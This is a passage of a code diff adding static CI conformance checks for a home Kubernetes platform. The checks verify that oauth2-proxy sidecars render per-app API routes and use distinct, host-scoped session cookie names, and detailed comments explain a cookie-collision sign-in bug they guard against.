+              "invisibly — measured as 33x302-vs-2x401 on jackett and 232x302 on radarr, with "
+              "POST bodies dropped. auth.apiRoutes would then be a field with no consumer")
+        check(not re.search(r'--api-route=\^/[A-Za-z0-9]', fn),
+              "catalog/render.py hardcodes a literal path regex into --api-route. Whatever path "
+              "that is, EVERY forward-auth app now renders it: one app's path shape applied to "
+              "five. pihole serves no /api/, so a constant answers its page loads with 401 and "
+              "the service looks permanently broken to a logged-out operator. Render the routes "
+              "declared in each service's own auth.apiRoutes instead")
+        check("apiRoutes" in fn,
+              "catalog/render.py's _oauth2_sidecar_container() does not read auth.apiRoutes, so "
+              "the per-app declaration has no effect on what is rendered")
+
+# ============================================================ (5) ONE PATTERN, THREE SURFACES
+# The ratchet is written in three places (this check, the renderer, the schema) because each
+# guards a surface the others cannot. If they drift apart, the loosest one wins silently.
+if render_py.is_file():
+    # The renderer writes the pattern as a raw string literal, so the source text contains it
+    # verbatim. A substring test is deliberate: it also catches a rename of the constant.
+    check(SCHEMA_PATTERN in read(render_py),
+          f"catalog/render.py no longer contains the anchoring pattern {SCHEMA_PATTERN!r} that "
+          f"this check and the schema enforce. Three surfaces guard --api-route breadth (the "
+          f"authoring surface via the schema, the render via the renderer, the tree via this "
+          f"check); if they drift apart the loosest wins and the ratchet is decorative")
+
+# The schema's pattern is read from the PARSED JSON, not from the file text: in the file its
+# backslashes are JSON-escaped, so a substring test against the raw bytes would compare the
+# wrong string and pass or fail for the wrong reason.
+schema_file = ROOT / "schemas" / "servicedefinition.schema.json"
+schema_pat = None
+if schema_file.is_file():
+    try:
+        schema_pat = (((((json.loads(read(schema_file)).get("properties") or {})
+                         .get("auth") or {}).get("properties") or {})
+                       .get("apiRoutes") or {}).get("items") or {}).get("pattern")
+    except (ValueError, AttributeError) as exc:
+        check(False, f"schemas/servicedefinition.schema.json could not be read as JSON ({exc}) — "
+                     f"the schema stage that rejects a too-broad --api-route cannot be audited")
+check(schema_pat == SCHEMA_PATTERN,
+      f"schemas/servicedefinition.schema.json constrains auth.apiRoutes items with "
+      f"{schema_pat!r}, not {SCHEMA_PATTERN!r}. The schema is the only surface that rejects a "
+      f"too-broad regex WHERE A HUMAN TYPES IT (ci/l0.sh validates catalog/*.yaml on every gate "
+      f"run); if it is absent or looser than the renderer's, the operator finds out from a 401 "
+      f"on a page load")
+
+# ============================================================ (6) PROVE THE SHIPPED RENDERER
+# Once the tree is compliant, (1)-(3) have nothing left to catch and their passing is evidence
+# of nothing. This runs the SHIPPED renderer as a SUBPROCESS on synthetic ServiceDefinitions and
+# asserts the behaviour directly, in BOTH directions, so the guard stays falsifiable.
+def _sd(name: str, port: int, routes) -> str:
+    auth = {"mode": "forward-auth", "groups": ["platform-admins"]}
+    if routes is not None:
+        auth["apiRoutes"] = routes
+    return yaml.safe_dump({
+        "name": name,
+        "kind": "container",
+        "source": {"image": "example/app:1"},
+        "exposure": "internal",
+        "ingressRoutes": [{"host": f"{name}.home.keithjackson.dev", "port": port}],
+        "auth": auth,
+    }, sort_keys=False)
+
+
+def _render(name: str, port: int, routes):
+    with tempfile.TemporaryDirectory() as td:
+        f = Path(td) / f"{name}.yaml"
+        f.write_text(_sd(name, port, routes))
+        return subprocess.run([sys.executable, str(render_py), str(f)],
+                              capture_output=True, text=True)
+
+
+def _sidecar_args(rendered_yaml: str) -> list:
+    for doc in yaml.safe_load_all(rendered_yaml):
+        if not isinstance(doc, dict) or doc.get("kind") != "Deployment":
+            continue
+        for c in iter_containers(doc):
+            if c.get("name") == "oauth2-proxy":
+                return list(c.get("args") or [])
+    return []
+
+
+if render_py.is_file():
+    # (6a) DECLARED ROUTES RENDER, IN ORDER, AND NOTHING ELSE DOES.
+    proc = _render("apirtdecl", 8121, ["^/api/", "^/signalr/"])
+    check(proc.returncode == 0,
+          f"the shipped catalog/render.py failed on a synthetic forward-auth fixture declaring "
+          f"two apiRoutes: rc={proc.returncode} {proc.stderr.strip()[:300]}")
+    if proc.returncode == 0:
+        got = api_routes_of(_sidecar_args(proc.stdout))
+        check(got == ["^/api/", "^/signalr/"],
+              f"the shipped renderer turned auth.apiRoutes ['^/api/', '^/signalr/'] into "
+              f"--api-route {got!r}. It must emit one repeatable --api-route per entry, in "
+              f"declared order. Note the flag is SINGULAR: --api-routes does not exist in "
+              f"oauth2-proxy v7.8.1 and the proxy REFUSES TO START with it, so a plural would "
+              f"crashloop every sidecar it rendered")
+
+    # (6b) AN APP THAT DECLARES NOTHING RENDERS NOTHING. The pihole case, proven on the
+    #      generator rather than inferred from one committed golden.
+    for label, routes in (("absent", None), ("empty", [])):
+        proc = _render(f"apirtnone{label}", 8122, routes)
+        check(proc.returncode == 0,
+              f"the shipped renderer failed on a synthetic forward-auth fixture with apiRoutes "
+              f"{label}: rc={proc.returncode} {proc.stderr.strip()[:300]}")
+        if proc.returncode == 0:
+            got = api_routes_of(_sidecar_args(proc.stdout))
+            check(got == [],
+                  f"the shipped renderer emitted --api-route {got!r} for a synthetic service "
+                  f"whose auth.apiRoutes is {label}. A newly-onboarded forward-auth app must "
+                  f"render NO --api-route: pihole serves no /api/, so a default would answer "
+                  f"its page loads with 401 and the service would look permanently broken to a "
+                  f"logged-out operator — a worse failure than the 302 bug the flag fixes")
+
+    # (6c) THE RENDERER REFUSES BREADTH. Asserted on the generator because render-golden runs
+    #      on every gate invocation while the schema stage can be skipped.
+    for bad in ("^/", "^/.*", ".*", "/api/", "^/api/|^/"):
+        proc = _render("apirtbad", 8123, [bad])
+        check(proc.returncode != 0,
+              f"the shipped renderer ACCEPTED auth.apiRoutes {bad!r} and rendered a sidecar. "
+              f"That regex matches paths a browser NAVIGATES to, so a plain page load answers "
+              f"401 and the operator is never offered a sign-in. The renderer must refuse it, "
+              f"so a breadth mistake fails render-golden even on a run where the schema stage "
+              f"did not execute")
+
+# ============================================================ VERDICT
+inv = " | ".join(f"{k} -> {v or '(none)'}" for k, v in sorted(rendered.items()))
+print(f"oauth2-proxy sidecars audited ({len(rendered)}): {inv}")
+if FAILURES:
+    print(f"\nCHECK FAIL (oauth2-proxy-api-routes-per-app): {len(FAILURES)} failed, "
+          f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+    for f in FAILURES:
+        print(f"  FAIL {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: oauth2-proxy-api-routes-per-app — {CHECKS} assertions (R-IDP-02)")
+PY

conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/chainsaw-test.yaml

@@ -0,0 +1,152 @@
+# =============================================================================
+# L0 STATIC — no two oauth2-proxy instances can share a browser cookie
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. Every oauth2-proxy on this platform is an INDEPENDENT instance with
+# its OWN `cookie-secret`: five per-app reverse-proxy sidecars (jackett, pihole, qbittorrent,
+# radarr, sonarr), crafty's, and the SHARED forward-auth proxy. Measured on prod 2026-09-30:
+# seven `*-oauth2-proxy` Secrets, SEVEN DISTINCT cookie-secret values — so no instance can
+# decrypt any other's cookie.
+#
+# They were all emitting oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and
+# `_oauth2_proxy_csrf`), scoped to `.${BASE_DOMAIN}`. A cookie is keyed by (name, domain, path),
+# so the browser kept ONE pair for ALL of them. Whichever proxy authenticated last OVERWROTE
+# every other's session; the loser logged `No valid authentication in request`, bounced to
+# Keycloak, and — the SSO session still being live — was redirected straight back and overwrote
+# the cookie again. Six live instances, one cookie, mutual eviction.
+#
+# WHY IT IS THE WORST KIND OF BUG. The symptom is "I signed into Keycloak but I'm still not
+# signed in", which points the investigator at Keycloak, where nothing is wrong. It is
+# INTERMITTENT — it only appears once a browser has visited a SECOND gated app, so the obvious
+# single-app reproduction succeeds — and it is SILENT: every Deployment stays Ready, every
+# Kustomization stays Ready, the proxy's own log line names an authentication failure rather
+# than a collision. It went unnoticed across five services for the whole life of the pattern,
+# and was found only as a side effect of investigating something else (2026-09-29, crafty).
+#
+# WHY A COMMIT IS NOT ENOUGH, AND THIS IS A GATE STAGE. The collision is a property of the
+# PATTERN, not of any one app: the next forward-auth service onboarded inherits the defect by
+# doing nothing at all, because a missing flag IS the bug. Nothing about its absence is loud.
+# This is the same shape as the twelve inert ServiceMonitors in this tree — one omission,
+# copied, invisible for weeks — and the same remedy: make the omission fail the merge.
+#
+# GIVEN every oauth2-proxy instance this repo authors — a container in any manifest (the
+#       rendered sidecars in apps/, crafty's hand-authored one in platform/) and the shared
+#       proxy's HelmRelease values,
+# WHEN  each instance's EFFECTIVE cookie name is resolved (its declared `--cookie-name` /
+#       `OAUTH2_PROXY_COOKIE_NAME`, or oauth2-proxy's built-in default `_oauth2_proxy` when it
+#       declares none — an omission is a NAME, not an absence, and that is the whole bug),
+# THEN  (1) no two instances share an effective cookie name;
+#       (2) no instance's effective name is another's name + `_csrf` — oauth2-proxy derives the
+#           CSRF cookie that way, so `_oauth2_proxy` and `_oauth2_proxy_csrf` as two SESSION
+#           names would collide on the second cookie while looking distinct on the first;
+#       (3) the DEFAULT name has exactly ONE owner and it is the instance declared in
+#           SHARED_DEFAULT_COOKIE_OWNER. This is the deliberate ASYMMETRY. The shared
+#           forward-auth proxy MUST keep `_oauth2_proxy`: it is the single session every
+#           OTHER forward-auth-gated surface on the platform rides on, so renaming it signs
+#           every one of them out at once. The rule is therefore NOT "every instance must
+#           declare a name" — it is "the default is a NAME LIKE ANY OTHER, held by exactly one
+#           REGISTERED owner". That formulation needs no exemption from (1), and it closes the
+#           hole an exemption would leave: if the shared proxy is ever removed, an app silently
+#           inheriting the default would still FAIL here instead of quietly becoming its heir;
+#       (4) every instance that is NOT that owner is HOST-SCOPED: its `--cookie-domain` equals
+#           the host of its own `--redirect-url`. See the argument below;
+#       (5) catalog/render.py DERIVES both flags from the ServiceDefinition (the service name
+#           and the route host) and does not carry a per-service table. A list is how twelve
+#           ServiceMonitors acquired one identical wrong port name in a single edit, and a list
+#           leaves the NEXT app defaulting into the collision;
+#       (6) the SHIPPED renderer is proven END-TO-END on synthetic ServiceDefinitions, run as a
+#           subprocess: two forward-auth fixtures must yield two different, non-default cookie
+#           names, each scoped to its own host. Without this, once the tree is compliant (1)-(4)
+#           are satisfied by a tree with nothing left to catch, and a guard whose only evidence
+#           is "nothing failed" cannot be told apart from one that stopped working;
+#   AND (7) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope:
+#           whole-repo`, so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into
+#           EVERY gate run, and ci/gate.sh blocks the merge when the l0 stage fails. It
+#           deliberately adds NO stage to ci/l0.sh — tests/l0-static/whole-repo-invariants-wired
+#           fails the gate if anyone adds one.
+#
+# WHY SCOPE, NOT REQUIREMENTS: ci/touched-requirements.sh maps `apps/*` to R-IDP-02/R-IDP-06
+# today, but the instances live in THREE unrelated subtrees (apps/, platform/crafty/,
+# platform/oauth2-proxy/) and the file most likely to reintroduce the defect is
+# catalog/render.py, which maps to R-GITOPS-02 and to no identity requirement at all. A
+# requirement-scoped selection would filter this check out of exactly the change that breaks it.
+#
+# ON ASSERTION (4), HOST-SCOPED COOKIE-DOMAIN — the argument, and the decision.
+#   AGAINST asserting it (overreach): distinct NAMES already close the eviction bug completely.
+#   Two cookies with different names do not overwrite each other however wide their domains are,
+#   so (4) fixes nothing that (1) has not already fixed. `--cookie-domain` is also a legitimate
+#   knob — a future proxy fronting two hostnames of one app would need a wider value — and a
+#   check that fails correct configurations is a check someone eventually disables.
+#   FOR asserting it (and this wins): a zone-wide cookie is TRANSMITTED BY THE BROWSER TO EVERY
+#   HOST IN THE ZONE. qBittorrent's session token is therefore sent to pihole, to radarr, to
+#   sonarr, and to every other name under `.${BASE_DOMAIN}` — including hosts behind no proxy at
+#   all. That is a session-credential disclosure across trust boundaries that no one needs and
+#   nobody asked for; the sidecar's session is only ever meaningful to the one app it fronts.
+#   And it is what makes a FUTURE name collision catastrophic rather than contained: with
+#   host-scoped cookies, two instances that accidentally share a name cannot even see each
+#   other's cookie, so the failure this whole test exists to prevent degrades from platform-wide
+#   to nothing. Defence in depth on the exact axis that already failed once.
+#   DECISION: assert it, for every instance except the registered shared proxy — whose whole
+#   job IS cross-host forward-auth, and which is exempted by name and with a reason, not by
+#   loosening the rule. `--whitelist-domain` is deliberately NOT touched: it governs permitted
+#   post-login REDIRECT targets, not cookie scope, and narrowing it breaks the sign-in bounce.
+#
+# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, as catalog/render.py
+# and the sibling l0-static checks use); conformance/run.sh --layer l0 and ci/l0.sh run it
+# directly, and this Chainsaw Test wraps the SAME script.
+#
+# NOT proven (honest gaps; this is STATIC, with no cluster and no browser):
+#   - That anyone can actually sign in. No browser round-trip is performed, and none can be
+#     from L0. The 2026-09-29 crafty entry recorded the same gap and it is still open: the
+#     symptom has never been REPRODUCED in a browser, so this is a latent-bug fix reasoned from
+#     measured configuration, not a fix watched to work.
+#   - That the LIVE pods carry what the tree says. git is not the cluster (CLAUDE.md §2b). The
+#     live flags were measured separately, once, by hand; nothing here re-measures them, and a
+#     hand-applied drift would not be visible to this check.
+#   - That the cookie-secrets really differ. That is a Secret comparison and belongs in-cluster;
+#     it was measured out of band (seven distinct values, compared without printing any of
+#     them). If they were ever made IDENTICAL the collision would become harmless — but sharing
+#     one session-encryption key across trust zones is a worse idea than the bug it would mask,
+#     so this check does not offer it as an alternative and does not look for it.
+#   - Anything about the CONTENT of a session, group authorization, or the CSRF cookie's own
+#     behaviour. Names and domains only.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: oauth2-proxy-cookie-names-distinct
+  labels:
+    conformance.home.k3s/R-IDP-02: "true"
+    conformance.home.k3s/R-IDP-06: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-IDP-02, R-IDP-06"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — the instances span apps/wave-0, apps/wave-1, platform/crafty and
+    # platform/oauth2-proxy, and the generator that emits five of them is catalog/render.py.
+    # No single requirement path-maps to that set, and the renderer maps to no identity
+    # requirement at all, so a requirement-scoped selection would skip this check on precisely
+    # the change that can reintroduce the defect fleet-wide in one edit.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      No two oauth2-proxy instances can share a browser cookie: every instance's effective
+      cookie name is unique, the built-in default belongs to exactly one registered owner (the
+      shared forward-auth proxy, which cannot be renamed without signing every gated app out),
+      every other instance is host-scoped, and catalog/render.py derives both flags from the
+      ServiceDefinition rather than from a per-service list — proven end-to-end on synthetic
+      fixtures so the guard stays falsifiable once the tree is clean.
+spec:
+  steps:
+    - name: assert-no-two-oauth2-proxy-instances-share-a-cookie
+      description: >-
+        Inventory every oauth2-proxy container and HelmRelease in the tree, resolve each one's
+        effective cookie name (declared, or oauth2-proxy's default when omitted), assert
+        pairwise distinctness including the session/CSRF derivation, ratchet the single
+        registered owner of the default name, assert host-scoped cookie-domain on every other
+        instance, assert catalog/render.py derives rather than lists, and prove the shipped
+        renderer on two synthetic forward-auth ServiceDefinitions.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/check.sh

@@ -0,0 +1,498 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 STATIC CHECK — no two oauth2-proxy instances can share a browser cookie.
+# See chainsaw-test.yaml's header for WHY this exists, what it measured, and the argument
+# for assertion (4). In one paragraph:
+#
+# Every oauth2-proxy here holds its OWN cookie-secret (seven distinct values on prod,
+# 2026-09-30), so two instances sharing a cookie NAME on a shared DOMAIN cannot read each
+# other's session — they OVERWRITE it. The loser bounces to Keycloak, is redirected straight
+# back by the live SSO session, and overwrites the winner in turn. The symptom is "I signed
+# into Keycloak but I'm still not signed in", it only shows up after a second gated app is
+# visited, and nothing in the cluster reports an error. A missing --cookie-name IS the bug,
+# so the next forward-auth app inherits it by doing nothing.
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner
+# turns into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope)
+# only if the tree contains no oauth2-proxy instance at all — genuinely nothing to audit.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if there is nothing to audit at all.
+# Matches the IMAGE every instance runs and the CHART the shared one installs; if NEITHER
+# appears anywhere, the forward-auth pattern has left this repo and the check has no subject.
+#
+# ANCHORED ON `image:` DELIBERATELY. A bare `oauth2-proxy/oauth2-proxy:` also matches
+# platform/oauth2-proxy/forward-auth-cec.yaml's Envoy cluster reference
+# (`serviceName: oauth2-proxy/oauth2-proxy:80` — namespace/service:port, not a registry path).
+# That file configures the ext_authz listener that CALLS the proxy; it runs no proxy and holds
+# no cookie flags, so counting it made the grep/parse cross-check below report a phantom
+# unaudited instance.
+if ! grep -rlE 'image:[[:space:]]*[^[:space:]]*oauth2-proxy|chart:[[:space:]]*oauth2-proxy' \
+       "${ROOT}/apps" "${ROOT}/platform" "${ROOT}/catalog" >/dev/null 2>&1; then
+  echo "check SKIPPED: no oauth2-proxy image or chart found under apps/, platform/ or catalog/ — nothing to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: no two oauth2-proxy instances can share a browser cookie.
+
+PyYAML (the same dependency as catalog/render.py and the sibling l0-static checks) rather
+than line-based parsing: a container's args live in a nested structure and a HelmRelease's
+flags live in a values map, and a line-based reader of either is precisely the approximate
+parser that silently stops matching — the failure class this check exists to prevent.
+"""
+from __future__ import annotations
+
+import re
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+# oauth2-proxy's OWN built-in defaults (pkg/apis/options/cookie.go): the session cookie is
+# `_oauth2_proxy` and the CSRF cookie is that name with `_csrf` appended. An instance that
+# declares nothing is NOT unconfigured — it has claimed this exact name, which is why the
+# inventory below treats the default as a name like any other rather than as an absence.
+DEFAULT_COOKIE_NAME = "_oauth2_proxy"
+CSRF_SUFFIX = "_csrf"
+
+# =============================================================================================
+# REGISTER — SHARED_DEFAULT_COOKIE_OWNER. Exactly one entry, and it must match a real instance.
+#
+# The one instance permitted to hold DEFAULT_COOKIE_NAME, and the one permitted a zone-wide
+# cookie-domain. Both exemptions belong to the SAME object for the SAME reason, so they are one
+# register rather than two: the shared forward-auth proxy is not a per-app sidecar, it is the
+# single session that every forward-auth-gated surface on the platform rides on. Renaming its
+# cookie signs all of them out simultaneously, and host-scoping it would break the cross-host
+# forward-auth that is its entire job.
+#
+# Shrink-only, and exact in BOTH directions: an entry that matches no instance FAILS as stale
+# (the proxy was renamed or removed and the exemption is now a hole), and an instance holding
+# the default WITHOUT an entry FAILS as an unregistered heir. Adding an entry is a review event
+# on a sensitive path.
+#
+# Keyed by "<relpath>:<instance id>".
+# =============================================================================================
+SHARED_DEFAULT_COOKIE_OWNER: dict[str, str] = {
+    "platform/oauth2-proxy/helmrelease.yaml:oauth2-proxy":
+        "The SHARED forward-auth proxy (ADR-0014, platform/oauth2-proxy/README.md). It is the "
+        "single authenticator behind every forward-auth-gated surface that is NOT fronted by "
+        "its own sidecar, so its cookie is the platform session: renaming it signs every one "
+        "of them out at once, and that is why the 2026-09-29 crafty fix changed only the "
+        "sidecar side. Its cookie-domain is zone-wide for the same structural reason — "
+        "cross-host forward-auth is what it is for.",
+}
+
+
+def is_test_fixture(p: Path) -> bool:
+    """conformance/tests/**/{golden,fixtures}/** is assertion DATA, not deployed manifests.
+
+    Auditing a golden would be auditing a copy of something already audited through apps/.
+    Same exclusion the sibling l0-static checks make, and the same "reference, not
+    declaration" distinction ci/touched-requirements.sh draws for fixture paths.
+    """
+    parts = p.parts
+    return "conformance" in parts and ("golden" in parts or "fixtures" in parts)
+
+
+def iter_containers(node):
+    """Yield every container mapping under any `containers`/`initContainers` list, at any depth.
+
+    Depth-agnostic on purpose: a sidecar sits under spec.template.spec.containers in a
+    Deployment, but the same container shape appears under a CronJob's jobTemplate, a
+    DaemonSet, or a Pod, and a reader that hardcoded one path would silently stop seeing an
+    instance the day one moved.
+    """
+    if isinstance(node, dict):
+        for key, val in node.items():
+            if key in ("containers", "initContainers") and isinstance(val, list):
+                for c in val:
+                    if isinstance(c, dict):
+                        yield c
+            else:
+                yield from iter_containers(val)
+    elif isinstance(node, list):
+        for item in node:
+            yield from iter_containers(item)
+
+
+def flag_from_args(args: list, flag: str):
+    """Value of `--flag=value` or `--flag value` in an argv list, else None."""
+    pref = "--" + flag
+    for i, a in enumerate(args):
+        if not isinstance(a, str):
+            continue
+        if a.startswith(pref + "="):
+            return a.split("=", 1)[1]
+        if a == pref and i + 1 < len(args) and isinstance(args[i + 1], str):
+            return args[i + 1]
+    return None
+
+
+def host_of(url):
+    """Host part of an https://host/path URL, else None."""
+    if not isinstance(url, str):
+        return None
+    m = re.match(r"^https?://([^/]+)", url)
+    return m.group(1) if m else None
+
+
+# ============================================================ (0) INVENTORY
+# instances: list of dicts {rel, ident, kind, declared_name, cookie_domain, redirect_host}
+instances: list[dict] = []
+unparseable: list[str] = []
+# Files the grep gate says contain an instance, so the parse can be cross-checked against it.
+grep_files: set[str] = set()
+
+for p in sorted(ROOT.rglob("*.yaml")):
+    relparts = p.relative_to(ROOT).parent.parts
+    # NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES
+    # such as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent
+    # runs, so a bare rglob audited up to 18 duplicates of every file — which both invents
+    # FAILs and, worse, can satisfy a "something declares X" check from a copy rather than from
+    # real source. Same fix as egress-paths-selected-by-rules. .claude/ is gitignored.
+    if any(part.startswith(".") for part in relparts) or is_test_fixture(p) or ".sops." in p.name:
+        continue
+    txt = read(p)
+    if not txt:
+        continue
+    rel = str(p.relative_to(ROOT))
+    # Same anchoring as check.sh's skip gate: `image:` (or a chart name), never a bare path —
+    # see the comment there for the Envoy `serviceName: oauth2-proxy/oauth2-proxy:80` near-miss.
+    if re.search(r"image:\s*\S*oauth2-proxy|chart:\s*oauth2-proxy", txt):
+        grep_files.add(rel)
+    elif "oauth2-proxy" not in txt:
+        continue
+    try:
+        docs = [d for d in yaml.safe_load_all(txt) if isinstance(d, dict)]
+    except yaml.YAMLError as exc:
+        unparseable.append(f"{rel} ({exc})")
+        continue
+    for d in docs:
+        # --- shape 1: a container running the oauth2-proxy image -------------------------
+        for c in iter_containers(d):
+            image = str(c.get("image") or "")
+            name = str(c.get("name") or "")
+            if "oauth2-proxy" not in image and name != "oauth2-proxy":
+                continue
+            args = [a for a in (list(c.get("args") or []) + list(c.get("command") or []))]
+            env = {e.get("name"): e.get("value")
+                   for e in (c.get("env") or []) if isinstance(e, dict) and "value" in e}
+            owner = (d.get("metadata") or {}).get("name") or "?"
+            instances.append({
+                "rel": rel,
+                "ident": f"{owner}/{name or 'oauth2-proxy'}",
+                "kind": "container",
+                "declared_name": flag_from_args(args, "cookie-name")
+                                 or env.get("OAUTH2_PROXY_COOKIE_NAME"),
+                "cookie_domain": flag_from_args(args, "cookie-domain")
+                                 or env.get("OAUTH2_PROXY_COOKIE_DOMAIN"),
+                "redirect_host": host_of(flag_from_args(args, "redirect-url")
+                                         or env.get("OAUTH2_PROXY_REDIRECT_URL")),
+            })
+        # --- shape 2: the shared proxy's HelmRelease values ------------------------------
+        if d.get("kind") != "HelmRelease":
+            continue
+        spec = d.get("spec") or {}
+        chart = (((spec.get("chart") or {}).get("spec") or {}).get("chart") or "")
+        if "oauth2-proxy" not in str(chart):
+            continue
+        values = spec.get("values") or {}
+        extra = values.get("extraArgs") or {}
+        if isinstance(extra, list):          # the chart also accepts a bare argv list
+            extra = {a.lstrip("-").split("=", 1)[0]: a.split("=", 1)[1]
+                     for a in extra if isinstance(a, str) and "=" in a}
+        cfg = values.get("config") or {}
+        get = lambda k: extra.get(k, cfg.get(k))     # noqa: E731 - two-source lookup, used 3x
+        instances.append({
+            "rel": rel,
+            "ident": str((d.get("metadata") or {}).get("name") or "oauth2-proxy"),
+            "kind": "helmrelease",
+            "declared_name": get("cookie-name"),
+            "cookie_domain": get("cookie-domain"),
+            "redirect_host": host_of(get("redirect-url")),
+        })
+
+for u in unparseable:
+    check(False, f"{u} is not parseable YAML — every oauth2-proxy instance in it went unaudited")
+
+for ins in instances:
+    ins["key"] = f"{ins['rel']}:{ins['ident']}"
+    # THE CORE MODELLING DECISION: an omitted --cookie-name is not "unset", it is a CLAIM on
+    # oauth2-proxy's built-in default. Resolving it here is what lets assertion (1) below be a
+    # plain distinctness test with no special case, and it is exactly the step whose absence
+    # made the defect invisible to every reviewer who read these manifests.
+    ins["effective_name"] = ins["declared_name"] or DEFAULT_COOKIE_NAME
+
+# Anti-vacuous. The floor is deliberately low (a real removal should not turn this check red),
+# so the load-bearing guard is the grep/parse CROSS-CHECK beneath it: every file the cheap
+# text scan says holds an instance must yield at least one PARSED instance. A parser that
+# quietly stopped matching would keep the floor and fail this.
+check(len(instances) >= 5,
+      f"only {len(instances)} oauth2-proxy instance(s) parsed out of the tree. This repo "
+      f"authors more than that (five rendered sidecars, crafty's, and the shared proxy), so "
+      f"the inventory has stopped seeing instances and every assertion below would pass "
+      f"vacuously while a collision went unaudited")
+
+parsed_files = {ins["rel"] for ins in instances}
+for rel in sorted(grep_files - parsed_files):
+    check(False,
+          f"{rel} contains an oauth2-proxy image or chart reference but NO instance was parsed "
+          f"out of it. Either it uses a shape iter_containers()/the HelmRelease reader does not "
+          f"recognise, or the file stopped parsing. Its cookie configuration is UNAUDITED, which "
+          f"is the same state the whole fleet was in before this check existed")
+
+# ============================================================ (1) DISTINCT EFFECTIVE NAMES
+by_name: dict[str, list[dict]] = {}
+for ins in instances:
+    by_name.setdefault(ins["effective_name"], []).append(ins)
+
+for nm, group in sorted(by_name.items()):
+    if len(group) < 2:
+        continue
+    who = ", ".join(sorted(g["key"] for g in group))
+    default_note = (
+        " Every one of them OMITS --cookie-name, so they are all claiming oauth2-proxy's "
+        "built-in default. Omitting the flag is not neutral: it IS this collision."
+        if nm == DEFAULT_COOKIE_NAME else "")
+    check(False,
+          f"{len(group)} oauth2-proxy instances share the cookie name '{nm}': {who}.{default_note}\n"
+          f"       WHY THIS IS A BUG AND NOT A STYLE RULE: these are INDEPENDENT instances with "
+          f"DIFFERENT cookie-secrets (measured on prod 2026-09-30: seven distinct values), so "
+          f"neither can DECRYPT the other's cookie — it can only OVERWRITE it. A browser keys a "
+          f"cookie by (name, domain, path), so signing into one app destroys the session of every "
+          f"other app sharing that key. The loser logs 'No valid authentication in request', "
+          f"bounces to Keycloak, is redirected straight back because the SSO session is still "
+          f"live, and overwrites the winner in turn. The user sees 'I signed into Keycloak but "
+          f"I'm still not signed in' and goes looking in Keycloak, where nothing is wrong.\n"
+          f"       FIX: give each per-app instance its own --cookie-name. For a service rendered "
+          f"from catalog/, do NOT hand-edit the golden — catalog/render.py derives the flag from "
+          f"the service name; re-render instead (ci/render-golden.sh's header has the canonical "
+          f"command). Exactly one instance may hold '{DEFAULT_COOKIE_NAME}', and it must be the "
+          f"one registered in SHARED_DEFAULT_COOKIE_OWNER.")
+
+# ============================================================ (2) SESSION vs CSRF DERIVATION
+# oauth2-proxy names the CSRF cookie <cookie-name>_csrf. So a SESSION name that happens to equal
+# another instance's name + "_csrf" collides on the CSRF cookie while assertion (1) sees two
+# perfectly distinct strings. This is the near-miss the obvious fix invites: naming the shared
+# proxy's neighbour `_oauth2_proxy_csrf` reads as "clearly different" and is not.
+effective = {ins["effective_name"] for ins in instances}
+for ins in sorted(instances, key=lambda i: i["key"]):
+    base = ins["effective_name"]
+    if not base.endswith(CSRF_SUFFIX):
+        continue
+    victim = base[: -len(CSRF_SUFFIX)]
+    check(victim not in effective,
+          f"{ins['key']} uses the SESSION cookie name '{base}', which is exactly the CSRF cookie "
+          f"oauth2-proxy derives for the instance named '{victim}' (it appends '{CSRF_SUFFIX}'). "
+          f"The two session names look distinct and the CSRF cookies collide, so sign-in breaks "
+          f"with a state-mismatch instead of a session loss — the same bug wearing a different "
+          f"error message. Pick a name that is not another instance's name + '{CSRF_SUFFIX}'")
+
+# ============================================================ (3) THE DEFAULT HAS ONE OWNER
+default_holders = sorted(ins["key"] for ins in instances
+                         if ins["effective_name"] == DEFAULT_COOKIE_NAME)
+registered = set(SHARED_DEFAULT_COOKIE_OWNER)
+
+for key in sorted(registered - set(ins["key"] for ins in instances)):
+    check(False,
+          f"SHARED_DEFAULT_COOKIE_OWNER registers '{key}', but no such oauth2-proxy instance "
+          f"exists in the tree. The register is SHRINK-ONLY and exact: a stale entry is a "
+          f"standing exemption for an object that is gone, so the next instance to inherit the "
+          f"default name would be silently excused. Remove the entry, or restore the instance")
+
